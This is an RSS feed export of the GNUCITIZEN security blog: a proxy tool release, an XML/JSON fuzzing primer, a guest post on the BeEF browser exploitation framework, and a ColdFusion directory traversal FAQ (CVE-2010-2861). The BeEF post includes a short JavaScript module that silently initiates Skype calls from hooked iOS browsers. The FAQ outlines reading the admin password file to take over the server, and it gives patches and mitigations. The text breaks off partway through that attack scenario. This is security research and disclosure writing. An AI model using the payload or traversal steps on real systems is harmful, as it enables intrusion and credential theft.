<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:yt="http://gdata.youtube.com/schemas/2007" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
   <channel>
      <title>GNUCITIZEN Network</title>
      <description>GNUCITIZEN Network</description>
      <link>http://pipes.yahoo.com/pipes/pipe.info?_id=Sn4Ffa3x3BGCYK7_nkartA</link>
      <atom:link rel="next" href="http://pipes.yahoo.com/pipes/pipe.run?_id=Sn4Ffa3x3BGCYK7_nkartA&amp;_render=rss&amp;page=2" />
      <pubDate>Thu, 23 May 2013 06:07:28 +0000</pubDate>
      <generator>http://pipes.yahoo.com/pipes/</generator>
      <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/gnucitizenNetwork" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="gnucitizennetwork" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><image><link>http://www.gnucitizen.org</link><url>http://www.gnucitizen.org/images/gc-reflection-gnucitizen-inverted.png</url><title>GNUCITIZEN</title></image><item>
         <title>Landing Proxify</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/</link>
         <description>I am really happy to announce the first release of proxify. I started writing this tool several years ago but I was never able to finished it. The first release (version 1.0) is now available for download on all platforms: Linux, Mac and Windows.

What is Proxify

The idea behind Proxify is to create a proxy that is just good at doing proxying. It is the proxy of all proxies so-to-say. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=6336</guid>
         <pubDate>Wed, 06 Feb 2013 23:28:40 +0000</pubDate>
         <content:encoded><![CDATA[<p>I am really happy to announce the first release of proxify. I started writing this tool several years ago but I was never able to finished it. The first release (version 1.0) is now available for <a rel="nofollow" target="_blank" href="http://code.google.com/p/gnucitizen/downloads/list">download</a> on all platforms: Linux, Mac and Windows.</p>

<h3>What is Proxify</h3>

<p>The idea behind Proxify is to create a proxy that is just good at doing proxying. It is the proxy of all proxies so-to-say. Proxify is lightweight, streamlined, concurrent and very efficient proxy utility that is easy to integrate into other tools. There is a good need for such tools because proxies are quite complex and not trivial to write even if you choose to use a high-level language such as Java, Python or Ruby.</p>

<p>This tool is written in C and comes with all dependencies pre-included in the package. This means that it is very portable on all platforms and you do not need any special setup. Having all files in the same folder is just enough to make it run.</p>

<p>Proxify is multithreaded and can in theory make optimal use of multi-cpu environments. The tool is non-buffering which means that it is really fast. It supports WebSockets, WebRTS and other streaming protocols. It fully understands HTTP. It does SSL interception and clones certificates on the fly.</p>

<h3>Integration At Its Core</h3>

<p>As mentioned earlier, Proxify is great if you need to create a custom proxy application or you want to embed proxy functionalities into your own app. The tool will do all the hard work and you just need to provide a very simple restful HTTP service to do the forwarding of data between the browser and the remote target. The protocol is based on the HTTP proxy specifications with the only difference that you don&#8217;t have to support the CONNECT method or do any SSL interception. Additionally, Proxify automatically detects end of streams when certain types of protocols are used. This makes the tool very handy, easy, re-usable technology that can be used in situations when we just want to write simple scripts to da a trivial job without to understand completely how the whole stack works. Everything is pretty much magically handled for you: and there is a lot going on behind the scene.</p>

<h3>Other Usages</h3>

<p>Proxify can be used for many things. Here is an example of how you will launch the tool to hex dump all the trafic to the screen:</p>

<pre><code>./proxify -p 8080 -x</code></pre>

<p>The output of this command will look like this:</p>

<pre><code>xxxxxx:xxxxx pdp$ xxx/proxify -p 8080 -x
Proxify Version 1.0

Copyright 2013 GNUCITIZEN. All rights reserved.
Commercial use of this software is strictly prohibited.
For commercial options please contact us at http://www.gnucitizen.org/.

[0000]   47 45 54 20 2F 20 48 54   54 50 2F 31 2E 31 0D 0A   GET...HT TP.1.1..
[0000]   55 73 65 72 2D 41 67 65   6E 74 3A 20 63 75 72 6C   User.Age nt..curl
[bfc8]   2F 37 2E 32 37 2E 30 0D   0A 48 6F 73 74 3A 20 77   .7.27.0. .Host..w
[f4c9]   77 77 2E 67 6E 75 63 69   74 69 7A 65 6E 2E 6F 72   ww.gnuci tizen.or
[cea4]   67 0D 0A 41 63 63 65 70   74 3A 20 2A 2F 2A 0D 0A   g..Accep t.......
[609f]   50 72 6F 78 79 2D 43 6F   6E 6E 65 63 74 69 6F 6E   Proxy.Co nnection
[f2e5]   3A 20 4B 65 65 70 2D 41   6C 69 76 65 0D 0A 0D 0A   ..Keep.A live....</code></pre>

<p>If we want to dump all requests and responses into individual files than we can use the following command:</p>

<pre><code>./proxify -p 8080 -D /path/to/folder</code></pre>

<p>This will also capture everything that is streamed as well, which means that you can even record video, audio and whatever is streaming over HTTP. You can mix and match all options for bets result and please check the command flags for more information.</p>

<h3>Tool Readiness</h3>

<p>Proxify is essentially ready for most use-cases although there are several things which needs to be improved especially around the SSL interception. Please use the tool with caution because it may have memory leaks or even memory corruption bugs. A huge portions of the code is not throughly tested. This is something I am working to improve in the near future. I am also planning to add more options for even better control over the process.</p>

<h3>Fair Use</h3>

<p>The tool is free! You can use it right away. However, comercial use is strictly prohibited at this stage. If you want to use the tool for comercial purposes, please get in touch to discuss your options.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/OzY5aID9zNU" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Fuzzing XML and JSON Pt.1</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/</link>
         <description>It is hard to get back to blogging especially when there are easier alternatives to scratch your itch &amp;#8211; I am talking about twitter. However, I decided to make the effort and see where it takes me. It will be difficult initially but practice leads to continuous improvement.

What I would like to do is to highlight some of the work I did to take two relatively simple and straightforward penetration testing practices to the next level: this is XML and JSON fuzzing. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=6329</guid>
         <pubDate>Thu, 13 Dec 2012 11:47:35 +0000</pubDate>
         <content:encoded><![CDATA[<p><em>It is hard to get back to blogging especially when there are easier alternatives to scratch your itch &#8211; I am talking about <a rel="nofollow" target="_blank" href="http://twitter.com/pdp">twitter</a>. However, I decided to make the effort and see where it takes me. It will be difficult initially but practice leads to continuous improvement.</em></p>

<p>What I would like to do is to highlight some of the work I did to take two relatively simple and straightforward penetration testing practices to the next level: this is XML and JSON fuzzing. If you have worked as a penetration tester or you have been moderately interested in web security you should have encountered a web service written on top of either of these technologies.</p>

<p>Both JSON and XML are slick beasts. They are both structured data containers and rely on well-formatted documents in order to be processed successfully. There is very little room for movement out of the spec and in fact they are both error intolerant. Most parsers will explode even on the tiniest errors in the document structure, such as for example if you leave a comma on the last item of an array inside a JSON structure. The reason I am mentioning this is because this is the basis of the two core fuzzing strategies &#8211; as I define them.</p>

<p>The first strategy is to concentrate on finding bugs in the actual parser/processor. In this case we will aim to submit ill-formatted documents and observe for strange behaviour. The types of problems typically discovered through this strategy are memory corruption bugs. The reason for this is because even in 2012 strings are still difficult to deal with and both formats are human-readable and rely heavily on processing text. Even binary input is represented textually.</p>

<p>The second strategy is to concentrate on finding bugs after the document has been parsed/processed. In this case we will aim to submit unexpected input but still stick to the format and the specifications of the document. This strategy is used to discover a lot wider range of bugs depending on how the structured data is used later on inside the application. The types of bugs discovered will depend on the targeted platform, language and all kinds of other things.</p>

<p>Both strategies can be mixed. However, from personal experience, I believe that you will be better off if you don&#8217;t because things can get quite confusing and you may not be able to setup all necessary measurement equipment correctly in order to find actual bugs or extract any useful data.</p>

<p>The first strategy I tend to leave it in the realm of research. The reason for this is because there are not that many parsers for both JSON and XML. Each programming language usually offers a few libraries which are widely adopted. Fuzzing these libraries will get us bugs which apply to all applications that make use of them &#8211; i.e. research in my opinion. On the other hand, the second strategy is targeted towards specific applications and platforms. And this is what I will mainly concentrate on for the rest of this series of articles.</p>

<p>As I discussed earlier this &#8220;second&#8221;, so-to-say, strategy is all about sending unexpected input but still keeping the document well formatted. So what is unexpected input? Well unexpected input is everything from very large numbers to very small ones (MIN_INT, MAX_INT, UNSIGNED MAX_INT, LONG, etc). Unexpected input is also logical values such as true and false, the special atom nil, null and 0 and 1. Some other unexpected values could be empty data structures where a value is expected such as when sending empty array but the application expects a number or a string. The list goes on and on and you can spend weeks tuning a fuzzer to find more interesting stuff by incorporating more unexpected input.</p>

<p>It is fair to say that not all unexpected values are equal. Some values are more likely to cause strange behaviour than others and this all depends on the target platform. Let&#8217;s take JSON for example. In JSON we have 2 main structured containers: <code>{}</code> &#8211; object and <code>[]</code> &#8211; array. Now, Java applications typically map/unmarshall JSON structures to classes. Therefore if we have a class which has public member variable <code>"a"</code> of type integer but we send an empty object, an exception will be raised before the input is even processed by the application. This is not quite like that in other programming languages which are not so strictly typed. For example, in PHP the developer may expect an integer but actually the parser will produce an array and while this will cause an error at some point later inside the application it will not immediately explode during parsing. This kind of conditions are very interesting.</p>

<p>So why I am mentioning this? Well, typically a fuzzer will generate a lot of combinations. Some of them may be fruitful. Most of them will be waste of time. However, by knowing what we are up against we can tune the fuzzer to be smarter and as a result of this a lot faster and more fruitful &#8211; I rather spend manually analysing 1000 results than 1000000.</p>

<p>I think I am running out of energy. After so many years of silence this post looks quite lengthy. Btw, such fuzzers exist. You can find one as part of the <a rel="nofollow" target="_blank" href="http://www.websecurify.com/suite">Websecurify Online Suite</a> and you can go ahead and try it for free now. Both <a rel="nofollow" target="_blank" href="https://suite.websecurify.com/jsonfuzz">JSON</a> and <a rel="nofollow" target="_blank" href="https://suite.websecurify.com/xmlfuzz">XML</a> are well supported. The reason I am mentioning this is because the rest of the series will concentrate on exploring how these fuzzers work and what kind of vulnerabilities we can find with them.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/WFmSjSbrck4" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>You and Your Research</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/</link>
         <description>This is really one of my favourite talks from this year&amp;#8217;s HITB in KL.



@haroonmeer did an exceptional job at describing what it takes to produce an exceptional piece of work/research and the various pitfalls and sacrifices one needs to make.---recent posts from the gnucitizen network:Landing ProxifyFuzzing XML and JSON Pt.1You and Your ResearchWell Websecurify Runs on The iPhoneStuxnet</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=6315</guid>
         <pubDate>Wed, 05 Dec 2012 00:40:04 +0000</pubDate>
         <content:encoded><![CDATA[<p>This is really one of my favourite talks from this year&#8217;s HITB in KL.</p>

<div class="screen"></div> 

<p><a rel="nofollow" target="_blank" href="https://twitter.com/haroonmeer">@haroonmeer</a> did an exceptional job at describing what it takes to produce an exceptional piece of work/research and the various pitfalls and sacrifices one needs to make.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/PSDmtHjr23M" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Well Websecurify Runs on The iPhone</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/</link>
         <description>This is not necessarily news anymore since it was discussed on the Websecurify official blog but we are so excited about it that we could not hold ourselves from posting it here too.



The testing engine used in this particular version of Websecurify is optimized to run with the least possible amount of memory. The results of the scanner are as good as those produced by all other Websecurify variants although in some cases it may miss some statistically unlikely types of issues. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=6259</guid>
         <pubDate>Thu, 04 Aug 2011 16:27:04 +0000</pubDate>
         <content:encoded><![CDATA[<p>This is not necessarily news anymore since it was <a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2011/08/websecurify-for-iphone-preview.html">discussed</a> on the Websecurify official blog but we are so excited about it that we could not hold ourselves from posting it here too.</p>

<div class="screen"><embed src="http://www.youtube.com/v/19U37T7F8Lw?version=3" type="application/x-shockwave-flash" width="640" height="390"></iframe></div> 

<p>The testing engine used in this particular version of Websecurify is optimized to run with the least possible amount of memory. The results of the scanner are as good as those produced by all other Websecurify variants although in some cases it may miss some statistically unlikely types of issues. This is not directly and only applicable to the iPhone version. No! Similar tradeoffs are also present even in standard desktop/server based scanners although they are usually less visible and obscured behind tones of options. The bottom line is that the scanner not only runs natively on the iOS but also works as expected.</p>

<blockquote>Now this is exciting! Websecurify is the first in the world mobile web application testing technology.</blockquote>

<p>If you have any suggestions, recommendations or general feedback please do let us know. You can also <a rel="nofollow" target="_blank" href="https://spreadsheets.google.com/spreadsheet/viewform?formkey=dEFlRENtdnJKSTJaeC13TjhHaVduckE6MQ">participate</a> in the beta test program which will allow you to have a play with tool as we are polishing it for the official release.</p>

<p><em>The possibilities are endless.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/xcMw65rISY4" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Stuxnet</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/</link>
         <description>I have been avoiding the topic about Stuxnet for quite some time, mainly because there were many others who spent the time to take the virus apart. However, here is a video, which I find rather amusing:



Wether this is the real deal or simply fear mongering, I simply don&amp;#8217;t know. It is all speculations at the moment. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=6246</guid>
         <pubDate>Mon, 13 Jun 2011 15:21:37 +0000</pubDate>
         <content:encoded><![CDATA[<p>I have been avoiding the topic about Stuxnet for quite some time, mainly because there were many others who spent the time to take the virus apart. However, here is a video, which I find rather amusing:</p>

<div class="screen"></div> 

<p><em>Wether this is the real deal or simply fear mongering, I simply don&#8217;t know. It is all speculations at the moment. The only thing we can say is that it is difficult to deny the fact that computers are important and whoever has control over them has control over people lives and can influence a lot of things including politics.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/Nt7uWV9YX6Y" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Having fun with BeEF, the browser exploitation framework</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/</link>
         <description>We haven&amp;#8217;t featured any guest bloggers in a while, but we&amp;#8217;re glad to be featuring Chirstian Frichot this month! Christian is a security professional based in Perth, Western Australia. He&amp;#8217;s currently working in the finance industry as part of a tight-knit internal team of security consultants doing their best to protect their business and customers from technical threats such as malware or insecure web applications. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=4039</guid>
         <pubDate>Tue, 22 Feb 2011 11:40:26 +0000</pubDate>
         <content:encoded><![CDATA[<p><em>We haven&#8217;t featured any guest bloggers in a while, but we&#8217;re glad to be featuring <a rel="nofollow" target="_blank" href="http://un-excogitate.org/">Chirstian Frichot</a> this month! Christian is a security professional based in Perth, Western Australia. He&#8217;s currently working in the finance industry as part of a tight-knit internal team of security consultants doing their best to protect their business and customers from technical threats such as malware or insecure web applications.</em></p>

<p><em>After having met <a rel="nofollow" target="_blank" href="http://www.bindshell.net/users/Wade">Wade Alcorn</a> (the initial author and project lead of BeEF), Christian mentioned his interest in helping out on the project where he could, which eventually led to Wade accepting his offer. The discussion was held over a couple of bottles of wine, so perhaps Wade&#8217;s regretting the decision now!</em></p>

<p><em>Christian&#8217;s role within the BeEF project, if it were to be defined, is odd-jobs-go-to-boy, command-module implementer, Ext-JS-fighter and twitter maintainer. When Christian is not working on BeEF, he&#8217;s doing his best to represent the Perth OWASP Chapter, or laying down crunchy beats on the drum-kit.</em></p>

<p><em>What follows are Chritian&#8217;s words on the BeEF project.</em><p>

<p>Sorry vegetarians, but BeEF is back. That&#8217;s right, the Browser Exploitation Framework is back, and it has now been rewritten from the ground up in Ruby. For those unfortunate people who haven&#8217;t had a chance to explore the older, PHP version of BeEF you&#8217;re only missing out on one of the greatest, most extensible XSS-payload management and exploitation frameworks out there, and the Ruby re-write is no different.</p>

<p>The Browser Exploitation Framework (BeEF) is a powerful, professional security tool. BeEF is pioneering techniques that provide the experienced penetration tester with practical client side attack vectors. Unlike other security frameworks, BeEF focuses on leveraging browser vulnerabilities to assess the security posture of a target.</p>

<p>One of the newer modules implemented in BeEF utilises the insecure handling of URL schemes in Apple&#8217;s iOS to trick Skype into starting an outbound call. This vulnerability was first written about by <a rel="nofollow" target="_blank" href="http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html">Nitesh Dhanjani</a> and highlights that with the growing popularity of these devices these sorts of issues may lead to losses of information or other negative impacting events. The module itself is as simple as:</p>

<pre><code>beef.execute(function() {
Â  Â document.body.innerHTML = &quot;&lt;iframe src=skype:&lt;%= @tel_num
%&gt;?call&gt;&lt;/iframe&gt;&quot;;

Â  Â beef.net.sendback(&quot;&lt;%= @command_url %&gt;&quot;, &lt;%= @command_id %&gt;,
&quot;result=IFrame Created!&quot;);
});</code></pre>

<p>which, once added to a particular hooked browsers command queue will simply execute upon next poll, and if they automatically authenticate to the Skype application, will initiate a call. Due to iOS&#8217; multi-tasking the Skype app does pop up to the top, so the end user is aware that the activity is occurring, but they&#8217;re not prompted to &#8220;confirm&#8221; the action. You can see this module demonstrated bellow:</p>

<div class="screen"></div> 

<p>The current release is 0.4.2.1-alpha, but by release 0.5 (the Sirloin Release) we&#8217;re expecting to have at least all of the PHP BeEF functionality provided plus much more, including:</p>

<ol>
<li>jQuery included as part of the hooking process</li>
<li>Metasploit integration</li>
<li>Evercookie&#8217;s for persistence even after a hooked browser has been closed</li>
<li>full event logging, not just keystroke logging, to include window activation/deactivation, mouse clicks, etc</li>
<li>arbitrary HTTP requester</li>
<li>proxying</li>
<li>persistence modules (subtle popups or 100%x100% iframes)</li>
<li>detecting of social networking authentication status (as per <a rel="nofollow" target="_blank" href="http://grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information">this</a>)</li>
</ol>

<p>You can find out more about beef over at <a rel="nofollow" target="_blank" href="http://beef.googlecode.com">http://beef.googlecode.com</a> or
by following the <a rel="nofollow" target="_blank" href="http://twitter.com/beefproject">@beefproject</a>.</p>

<p><em>BeEF &#8211; Get it into ya!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/ekJpPZt6-pA" height="1" width="1"/>]]></content:encoded>
         <category>Blog</category>
      </item>
      <item>
         <title>The Making of Metagun</title>
         <link>http://www.hakiri.org/blog/the-making-of-metagun/</link>
         <description>This is a wonderful timelapse video of a guy making a game in 48 hours.



The obvious choice of technology is Java. Great stuff!---recent posts from the gnucitizen network:Landing ProxifyFuzzing XML and JSON Pt.1You and Your ResearchWell Websecurify Runs on The iPhoneStuxnet</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=699</guid>
         <pubDate>Tue, 24 Aug 2010 17:58:07 +0000</pubDate>
         <content:encoded><![CDATA[<p>This is a wonderful timelapse video of a guy making a game in 48 hours.</p>

<div class="screen"><embed src="http://www.youtube.com/v/ZV-AFnCkRLY?fs=1&amp;hl=en_US" type="application/x-shockwave-flash" width="640" height="385"></iframe></div> 

<p><em>The obvious choice of technology is Java. Great stuff!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>ColdFusion directory traversal FAQ (CVE-2010-2861)</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/</link>
         <description>A new Adobe hotfix for ColdFusion has been released recently. The vulnerability which was discovered by Richard Brain, was rated as important by Adobe and could affect a large number of Internet-facing web servers. The FAQ bellow is meant to shed some light on this vulnerability so that ColdFusion administrators can understand what they&amp;#8217;re up against. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3665</guid>
         <pubDate>Fri, 13 Aug 2010 15:31:33 +0000</pubDate>
         <content:encoded><![CDATA[<p>A new Adobe <a rel="nofollow" target="_blank" href="http://www.adobe.com/support/security/bulletins/apsb10-18.html">hotfix</a> for ColdFusion has been released recently. The vulnerability which was discovered by Richard Brain, was rated as <a rel="nofollow" target="_blank" href="http://www.adobe.com/devnet/security/security_zone/severity_ratings.html">important</a> by Adobe and could affect a large number of Internet-facing web servers. The FAQ bellow is meant to shed some light on this vulnerability so that ColdFusion administrators can understand what they&#8217;re up against.</p>

<h3>The FAQ</h3>

<p>Finally, by producing this FAQ I will attempt to explain why (at least on certain setups) this vulnerability should have been granted a <strong>CRITICAL</strong> rating by Adobe, rather than Important. As we&#8217;ll see bellow, it is possible to fully compromise the underlying OS of a vulnerable ColdFusion server by exploiting this directory traversal vulnerability.</p>

<h4>How does the vulnerability work?</h4>

<p>The vulnerability is a variation of a classic directory traversal vulnerability, also referred to as arbitrary file retrieval. The attack involves tricking a server-side script to provide the contents of a file that it was not originally supposed to be made available. By moving up a few directory levels, the attacker is able to obtain the contents of files outside the application server&#8217;s webroot via special strings such as <code>../</code>. More information can be found on the <a rel="nofollow" target="_blank" href="http://www.owasp.org/index.php/Path_Traversal">OWASP</a> website.</p>

<h4>Is authentication required to exploit this vulnerability?</h4>

<p>NO. The attacker doesn&#8217;t require knowledge of any passwords in order to exploit the directory traversal bug.</p>

<h4>What&#8217;s the goal of the attacker when exploiting this vulnerability?</h4>

<p>Just as any other type of directory traversal vulnerability, the attacker would usually attempt to obtain source code of the target site in order to identify security vulneraibilities. Additionally, the attacker would most likely attempt to obtain configuration files containing sensitive information. For instance, in the case of ColdFusion the attacker would most likely attempt to read the contents of <code>neo-security.xml</code> and <code>password.properties</code>. These configuration files contain database connection credentials and the ColdFusion administrator password respectively. Depending on how <code>password.properties</code> has been setup, the ColdFusion admin password will be hashed or stored in clear-text (<code>encrypted=false</code>).</p>

<h4>What&#8217;s the worst that could happen once this vulnerability has been exploited successfully?</h4>

<p>As we&#8217;ll see at the end of this post, once the attacker has gained access to the CF admin console &#8211; e.g.: by cracking the admin password &#8211; it might be possible to fully compromise the underlying OS.</p>

<h4>How can the vulnerability be resolved?</h4>

<p>You can either apply Adobe&#8217;s <a rel="nofollow" target="_blank" href="http://kb2.adobe.com/cps/857/cpsid_85766.html">patch</a> or restrict access to the following directories and file from trusted IP addresses only: <code>/CFIDE/adminapi/ /CFIDE/administrator/ /CFIDE/componentutils/ /CFIDE/wizards/ /CFIDE/install.cfm</code></p>

<h4>What are the mitigating factors?</h4>

<p>This vulnerability cannot be exploited on ColdFusion 9.X when default settings are used, unless of course you figure out a way to get around the directory traversal signatures used by the filtering routines. Additionally, the ColdFusion administrator login console must be available to the attacker. It is however quite common to find CF admin consoles directly available on the Internet.</p>

<p><del datetime="2010-08-16T22:36:05+00:00">If a long and sufficiently random admin password is used, cracking the SHA1 hash could prove to be difficult. This is applicable to CF MX7, 8 and 9</del> (<strong>see UPDATE notes</strong>). Version 6 doesn&#8217;t hash the password, but instead encrypts it using a proprietary algorithm.</p>

<h4>What versions of ColdFusion are affected?</h4>

<p>According to the Adobe <a rel="nofollow" target="_blank" href="http://www.adobe.com/support/security/bulletins/apsb10-18.html">bulletin</a> the affected versions are <q>ColdFusion 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions for Windows, Macintosh and UNIX</q>. However, due to time constraints I have only personally confirmed the vulnerability on version 8.0.1 under Windows.</p>

<h4>Can you provide the actual exploit?</h4>

<p>No. ProCheckUp will provide the exploit details at a later date. Although Richard Brain privately shared POC URLs with me, I will not make them available. Exploit details were only provided to me as a trusted security analyst for purpose of assessing the impact of the vulnerability and help me write this FAQ in the hope that it will benefit the community.</p>

<p><strong>UPDATE:</strong> the <a rel="nofollow" target="_blank" href="http://www.exploit-db.com/exploits/14641/">exploit details</a> were published by an anonymous researcher on <em>14/08/2010</em>, probably worked out by reverse-engineering Adobe&#8217;s patches. ProCheckUp has also released the <a rel="nofollow" target="_blank" href="http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07">exploit details</a> as of <em>17/08/2010</em>.</p>

<h4>Can you describe a real attack scenario?</h4>

<p>The following a real attack scenario against ColdFusion 8 on a Windows server:</p>

<ol>
<li>Attacker confirms ColdFusion admin console is Internet facing. E.g. <code>http://target-domain.foo/CFIDE/administrator/index.cfm</code></li>
<li>Attacker exploits directory traversal vulnerability and obtains the contents of <code>C:&#92;ColdFusion8&#92;lib&#92;password.properties</code>, which contains the ColdFusion admin password <div class="screen"><a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/static/blog/2010/08/cf_dir_traversal_exploited.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/cf_dir_traversal_exploited-270x150.png" alt="" title="CF Dir Traversal Exploited PNG" width="270" height="150" class="alignnone size-thumbnail wp-image-3730"/></a></div></li>
